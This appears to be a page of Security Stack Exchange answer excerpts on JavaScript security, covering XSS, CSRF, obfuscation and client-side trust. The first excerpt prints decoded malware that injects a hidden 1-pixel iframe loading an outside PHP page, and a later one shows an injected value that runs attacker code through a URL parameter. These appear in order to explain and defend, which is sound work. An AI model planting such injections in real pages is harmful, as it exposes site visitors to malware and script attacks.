Hot answers tagged javascript
24
The first (in bold) code is actually this:
Decoded with deobfuscatejavascript.com
(function() {
var pzt = document.createElement('iframe');
pzt.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php';
pzt.style.position = 'absolute';
pzt.style.border = '0';
pzt.style.height = '1px';
pzt.style.width = '1px';
pzt.style.left = ...
22
The algorithm here is:
function makehash(pw, mult) { // Password and... multiplier?
pass = pw.toUpperCase(); // Case insensitivity
var hash = 0;
for (i = 0; i < Math.min(pass.length, 8); i++) { // 8 char passwords max...
c = pass.charCodeAt(i) - 63; // A = 2, B = 3, etc.
hash *= mult;
hash += c;
}
return hash;
...
22
Javascript code executes on the client browser, so the client browser sees the code, and every user can obtain it. At best you can obfuscate the code so as to (try to) hide its meaning and behaviour. Obfuscation will not deter motivated attackers (it will just makes them a bit angrier), so it would be quite unwise to use it as foundation for your security ...
20
What you've described isn't improving the security of the system. Its not a matter of opinion or emotion, security just doesn't work that way. In your example the hash(salt+password) is now your password. If it wasn't over https, then an attacker could just replay that value. Also you didn't really address owasp a9 aka "firesheep" style attacks.
20
I actually think the Mozilla devs have been pretty smart with this.
Historically, most PDF exploits have come from the rendering engine rather than the parsing side. Adobe got wise early to the fact that malformed structure and content would screw them, and put a lot of effort into making sure that their parsing engine was rock solid. If you look at some of ...
19
At least the author wrote a rather clear page on how his encryption works. Notwithstanding, this looks like a rather old-style homemade stream cipher, which is not good news, since most of such systems have been thoroughly broken. It appears to consist of a basic LFSR subsystem (two LFSR with key-dependent polynomials; the bit about the polynomials operating ...
18
Short answer. Yes, blocking requests with an off-site Referer: header might have some security benefits, but I do not recommend that you implement it. The usability costs are significant and outweigh any security benefits.
I feel that, as security professionals, our job is not just to recommend defenses that people should implement -- it is also to ...
17
UPDATED
I would check the following:
Logs. If you have root access you should check things like history which will give you command history and log files in /var/logs.
Baseline. If you have a baseline like file hashes to work with for application and system files this will help a lot. You can also use backups to compare a previous state. If using a backup ...
17
Yes. Serving advertising is opening yourself up to attacks from the marketing company, or any of their middleman, etc.
There are two ways you can serve advertisements. One way is to put the advertisement in an IFRAME. The second is to include it inline, via SCRIPT SRC=.
An iframed advertisement is safer: it is walled away from the rest of your page by ...
17
Found it
http://sla.ckers.org/forum/read.php?24,33349
http://security.bleurgh.net/javascript-without-letters-or-numbers
http://sla.ckers.org/forum/read.php?24,28687
Converter to convert normal JS into brackets only JS:
http://utf-8.jp/public/jjencode.html
17
Use SSL
Make sure you implement session management correctly - for example the presence of correct session id checked on each page and destroyed with logout
Add cache control: no-cache, pragma: no-cache and expire: -1 headers everywhere
Make sure that forms and every sensitive variable are submitted only through POST requests and not GET (during code audits ...
16
Why is the same origin policy important?
Assume you are logged into Facebook and visit a malicious website in another browser tab. Without the same origin policy JavaScript on that website could do anything to your Facebook account that you are allowed to do. For example read private messages, post status updates, analyse the HTML DOM-tree after you entered ...
16
Searching for a section of code yields the page this was taken from:
http://www.yaldex.com/FSPassProtect/LoginCoder.htm
among many other locations. This should tell you how to add another entry.
However, this is an extremely insecure authentication mechanism that can be trivially bypassed by anyone remotely competent as all you have to do is guess the ...
14
If it has been loaded into the browser, it has been downloaded to your computer's memory. The webpage might attempt to stop you from saving an image (by e.g. disabling right click?) or similar, but if you go into the source of the webpage, you should always be able to find the location of the image or the .js file; if you can load it into the browser, I'm ...
13
Yes it is vulnerable, but not it the way you suspect. The attacker would not try modify the loaded URL, but to execute the code directly. For example:
$_GET['fname'] = '"+(function(){/*any_code_i_like*/})()+"';
will become:
$.ajax({
url: "http://mywebsite/script?param="+(function(){/*any_code_i_like*/})()+""
and the code will execute even before ...
13
How does it protect from man in the middle attacks? From what I gather, it doesn't at all (can't think of a way it could actually). That makes it perfectly useless.
SSL/TLS kinda works because because you trust the software telling you the connection is secure (in the usual case your browser). When you download the code telling you that the connection can ...
13
I KNOW, I KNOW, I KNOW -- the second I mentioned javascript to php you
guys rolled your eyes, but seriously, take a look first -- this is a
bit different.
No, unfortunately, this isn't different. Javascript Cryptography Considered Harmful should give you a good summary of what the general issues are.
Some issues have to do with inadequate ...
13
Quoted from OWASP's CSRF Prevention page:
Double Submit Cookies
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value ...
12
Don't step through it, instead use an interactive proxy (I'm partial to Fiddler, there are many others...).
When the javascript is downloaded, it will first pass thru your proxy tool - you can grab it, save it out, and then block it from going on down to your browser.
Since you know it's malicious, you'd be better reviewing the source rather than ...
12
It has to do with the general scope of what you are trying to protect. If you are developing a server-side application, you are trying to protect the server from both the user and his client system. Having the user's system (ie, the client) do your security work for you doesn't really help the server stay protected. There's usually an assumption that when ...
12
It is a security measure, as the description in the code implies. The iframe serves as a protection mechanism against XSS exploits through browsers' own measures against these very same attack types by preventing JavaScript access to frames and iframes when they're not published on the same domain. It isn't really necessary to write this part of HTML ...
11
Its all XSS, its not proper to call it "JavaScript Injection". The XSS vector you are talking about isn't new, and its an interesting one. XSS is an output problem. If you perform the same input validation on all input you'll still have problems with XSS. If you encode or strip all < > characters for every input variable you'll still have huge ...
11
The core reason is not hate... it's insecurity. A general principle is to trust nothing you don't have control of. In the case of a user authenticating to an application, unless you provided the laptop to the user, configured its controls, and those of the environment it sits in, you can't trust it.
The traditional way to look at it is that if an attacker ...
11
There will never be a single perfect checklist, but here's a few things worth going through:
Wikipedia doesn't do half bad on this one
More for AJAX or other rich interfaces, but worth a read depending on your architecture - OWASP
This seems worth a test drive - haven't tried it myself - Javascript sandbox
Yes, none of these is a true "checklist" - IMO ...
11
Theory of the BEAST Attack
SSL uses various combinations of public and symmetric key algorithms. (OpenSSL's list) When the symmetric algorithm is a block algorithm (as opposed to stream), cipher block chaining is used -- the previous block is part of the input to the new block.
The problems we're seeing right now are implementation-based, and they've been ...
11
Anything you can do with javascript as the site owner can be done with an XSS attack. That includes modifying the DOM. You could replace an entire page and thus have control of all data into and out of the website. Relatively simple scripts can read cookies and forward session information. That would be like Firesheep at a distance -- impersonating a user by ...
11
To do 10 checks on the server side is likely not going to put any real stress on your server. Unless you are at the point of thousands of request per second, you will be okay. At that point, you would probably implement clustering, etc. Security is always worth the extra cycles. Client side validation is never sufficient. When you think about validation, you ...
11
Exploits fall into roughly two distinct categories: those which break the semantic rules of the implementation language (buffer overflows, use-after-free, uncontrolled type casts...) and those which play "by the rules". Since the new PDF reader is written in Javascript, exploits from the first category ought to be extremely rare, because of the intrinsic ...
10
JavaScript is a language just like any other language, such as C and Java. You can run Java on your desktop PC, and on your server as well. In the same vein, you can run JavaScript just fine on a server.
Node.js is one popular asynchronous I/O library that uses the JavaScript language. It runs extremely well in a server environment as evidenced by GitHub ...
10
PHP runs on the server; it is code which ultimately produces a Web page to be returned to the client. From the client point of view, only the received bytes matter, not how they were computed on the server; it makes no difference whatsoever to the client if the Web page was dynamically generated with PHP or Java or whatever, or if it was the contents of a ...
Only top voted, non community-wiki answers of a minimum length are eligible
